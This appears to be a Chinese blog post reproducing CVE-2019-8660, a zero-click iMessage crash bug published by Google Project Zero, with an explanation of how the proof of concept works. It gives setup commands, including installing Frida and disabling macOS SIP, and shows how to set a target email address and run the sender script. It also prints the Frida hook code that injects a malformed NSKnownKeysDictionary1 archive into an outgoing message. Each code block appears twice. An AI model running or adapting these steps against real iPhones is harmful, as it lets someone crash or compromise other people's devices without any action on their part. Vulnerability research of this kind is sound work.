CVE-2019-8660 iMessage 漏洞复现

近期谷歌的研究人员披露了 5 个 iOS 中安全漏洞，并公布了 POC(Proof of concept)，攻击者利用这些漏洞可以通过 iMessage 发送精心设计的消息来攻击 iOS 设备，这些漏洞不需要和任何用户交互，只要目标机 iMessage 信息接收成功即可触发漏洞。

CVE-2019-8660､ CVE-2019-8662､ CVE-2019-8647 这三个漏洞可以导致系统重启，或者任意代码执行。

CVE-2019-8646 这个漏洞可以导致任意文件读取，比如发送 iMessage 信息到目标机，可以获取到目标机的照片。

CVE-2019-8641 这个漏洞由于在最新的 12.4 系统上未修复，所以并未公布具体细节。其他 4 个漏洞已经在 12.4 修复。

复现漏洞

首先是要复现漏洞，以 CVE-2019-8660 为例，其他几个漏洞的复现方式类似。在测试之前，请打开 iOS 设备上的 iMessage 的消息接收，方法是点击设置 -> 信息 -> 打开 iMessage 信息开关。下面是复现漏洞的具体步骤：

(1) 安装 python3

brew install python3

1 2	brew install python3

(2) 安装 frida

pip3 install frida

1 2	pip3 install frida

(3) 下载并解压 POC，下载地址是： https://bugs.chromium.org/p/project-zero/issues/attachment?aid=398583&signed_aid=aRa647CnzpRUCj7nXIOEKA==

(4) 将 sendMessage.py 里的 receiver 替换成目标邮箱地址

#receiver = "YOUR EMAIL"
receiver = "exchen99@foxmail.com"

#receiver = "YOUR EMAIL"

receiver = "exchen99@foxmail.com"

(5) 将 injectMessage.js 里的 obj 文件的路径填写成你本机的

//var d = ObjC.classes.NSData.dataWithContentsOfFile_("PATH/obj");
var d = ObjC.classes.NSData.dataWithContentsOfFile_("/Users/exchen/Downloads/knownkeydict/obj");

//var d = ObjC.classes.NSData.dataWithContentsOfFile_("PATH/obj");

var d = ObjC.classes.NSData.dataWithContentsOfFile_("/Users/exchen/Downloads/knownkeydict/obj");

(6) 需要关闭 SIP (System Integrity Protection，系统完整性保护)，方法是重启按住 Commond + R 进入 recovery 模式，在实用工具里打开终端，输入 csrutil disable 即可禁用 SIP，然后重启进入正常模式。测试完漏洞之后别忘记打开 SIP，方法是：进入 recovery 模式，输入 csrutil enable。如果没有这一步操作，frida 注入进程可能会失败。

(7) 最后执行 sendMessage.py 发送 iMessage，只要目标机接收到 iMessage 消息即可以触发漏洞，并不需要点击查看。

python3 sendMessage.py

1 2	python3 sendMessage.py

触发漏洞的目标机重启之后，打开短信应用会闪退，原因是之前测试的那条带漏洞的 iMessage 消息还存在，会被短信应用加载，加载错误就闪退了。解决的方法是给目标机多发送几条正常的信息，这样会覆盖掉带漏洞的短信，然后在搜索栏输入关键字定位到有问题的短信，删除即可。

POC 的实现原理

POC 的实现原理是使用 AppleScript 调用 macOS 的信息应用对目标发送 iMessage 消息，其中使用 frida 对 jw_encode_dictionary_addr 函数进行 Hook，修改原始的消息体结构。在 injectMessage.js 里有构造带有漏洞的 iMessage 消息体的代码，核心代码如下：

console.log(dict);  //打印原始正常的消息体
//对正常的消息体进行修改，构造带有漏洞的消息体
var newDict = ObjC.classes.NSMutableDictionary.dictionaryWithCapacity_(dict.count());
var d = ObjC.classes.NSData.dataWithContentsOfFile_("/Users/exchen/Downloads/knownkeydict/obj");
console.log(d);  //打印obj文件
newDict.setObject_forKey_("com.apple.messages.MSMessageExtensionBalloonPlugin:0000000000:com.apple.mobileslideshow.PhotosMessagesApp", "bid");
newDict.setObject_forKey_(d, "bp");  //obj文件
// newDict.setObject_forKey_("com.apple.messages.URLBalloonProvider", "bid");

newDict.setObject_forKey_(8, "gv");
newDict.setObject_forKey_(0, "pv");
newDict.setObject_forKey_(1, "v");
newDict.setObject_forKey_("FAA29682-27A6-498D-8170-CC92F2077441", "gid");
newDict.setObject_forKey_(d, "bp");
newDict.setObject_forKey_("CB2F0B8D-84F6-480E-9079-27DA53E14EBD", "r");
newDict.setObject_forKey_(1, "v");

newDict.setObject_forKey_("\Ufffd\Ufffc", "t");
args[0] = newDict.handle;

console.log(dict); //打印原始正常的消息体

//对正常的消息体进行修改，构造带有漏洞的消息体

var newDict = ObjC.classes.NSMutableDictionary.dictionaryWithCapacity_(dict.count());

var d = ObjC.classes.NSData.dataWithContentsOfFile_("/Users/exchen/Downloads/knownkeydict/obj");

console.log(d); //打印obj文件

newDict.setObject_forKey_("com.apple.messages.MSMessageExtensionBalloonPlugin:0000000000:com.apple.mobileslideshow.PhotosMessagesApp", "bid");

newDict.setObject_forKey_(d, "bp"); //obj文件

// newDict.setObject_forKey_("com.apple.messages.URLBalloonProvider", "bid");

newDict.setObject_forKey_(8, "gv");

newDict.setObject_forKey_(0, "pv");

newDict.setObject_forKey_(1, "v");

newDict.setObject_forKey_("FAA29682-27A6-498D-8170-CC92F2077441", "gid");

newDict.setObject_forKey_(d, "bp");

newDict.setObject_forKey_("CB2F0B8D-84F6-480E-9079-27DA53E14EBD", "r");

newDict.setObject_forKey_(1, "v");

newDict.setObject_forKey_("\Ufffd\Ufffc", "t");

args[0] = newDict.handle;

替换的 iMessage 消息体会放入 obj 文件，obj 文件里有一个 NSKnownKeyDictionary1 对象，正是因为解析 NSKnownKeyDictionary1 对象时引发问题造成的漏洞的触发。

<dict>
    <key>$classes</key>
    <array>
        <string>NSDictionary</string>
        <string>NSObject</string>
    </array>
    <key>$classname</key>
    <string>NSKnownKeysDictionary1</string>
</dict>
<dict>
    <key>$classes</key>
    <array>
        <string>NSKnownKeysMappingStrategy1</string>
        <string>NSObject</string>
    </array>
    <key>$classname</key>
    <string>NSKnownKeysMappingStrategy1</string>
</dict>
<string>i am very long indeed</string>
<dict>

<dict>

<key>$classes</key>

<array>

<string>NSDictionary</string>

<string>NSObject</string>

</array>

<key>$classname</key>

<string>NSKnownKeysDictionary1</string>

</dict>

<dict>

<key>$classes</key>

<array>

<string>NSKnownKeysMappingStrategy1</string>

<string>NSObject</string>

</array>

<key>$classname</key>

<string>NSKnownKeysMappingStrategy1</string>

</dict>

<string>i am very long indeed</string>

<dict>

上面的 obj 文件实际上是 Archive (归档)文件，通过 NSKeyedArchiver 里的方法可以构造 Archive 文件，示例如下：

NSDictionary* obj = @{@"testKey": @"testValue", @"testArray":@[@100, @200, @300], @"testDict":@{@"dictKey":@"dictValue"}};

NSData* data = [NSKeyedArchiver archivedDataWithRootObject:obj requiringSecureCoding:true error:&amp;err];
if (!data) {
    NSLog(@"Error: %@", err);
    return;
}
[data writeToFile:@"/Users/exchen/Downloads/archive_test" atomically:YES];

NSDictionary* obj = @{@"testKey": @"testValue", @"testArray":@[@100, @200, @300], @"testDict":@{@"dictKey":@"dictValue"}};

NSData* data = [NSKeyedArchiver archivedDataWithRootObject:obj requiringSecureCoding:true error:&err];

if (!data) {

NSLog(@"Error: %@", err);

return;

}

[data writeToFile:@"/Users/exchen/Downloads/archive_test" atomically:YES];

iMessage 的消息内容是在 sendMessage.py，我们可以替换 REPLACEME 发送自定义的消息

subprocess.call(["osascript", "sendMessage.applescript", receiver, "REPLACEME"]

1 2	subprocess.call(["osascript", "sendMessage.applescript", receiver, "REPLACEME"]

然后在 injectMessage.js 中也需要将 REPLACEME 保持和自定义的消息内容一致

if (t == "REPLACEME")

1 2	if (t == "REPLACEME")

参考资料：

https://bugs.chromium.org/p/project-zero/issues/detail?id=1884
https://bugs.chromium.org/p/project-zero/issues/detail?id=1874
https://bugs.chromium.org/p/project-zero/issues/detail?id=1873
https://bugs.chromium.org/p/project-zero/issues/detail?id=1858

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[iOS Hacker] CVE-2019-8660 iMessage 漏洞复现

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复现漏洞

POC 的实现原理

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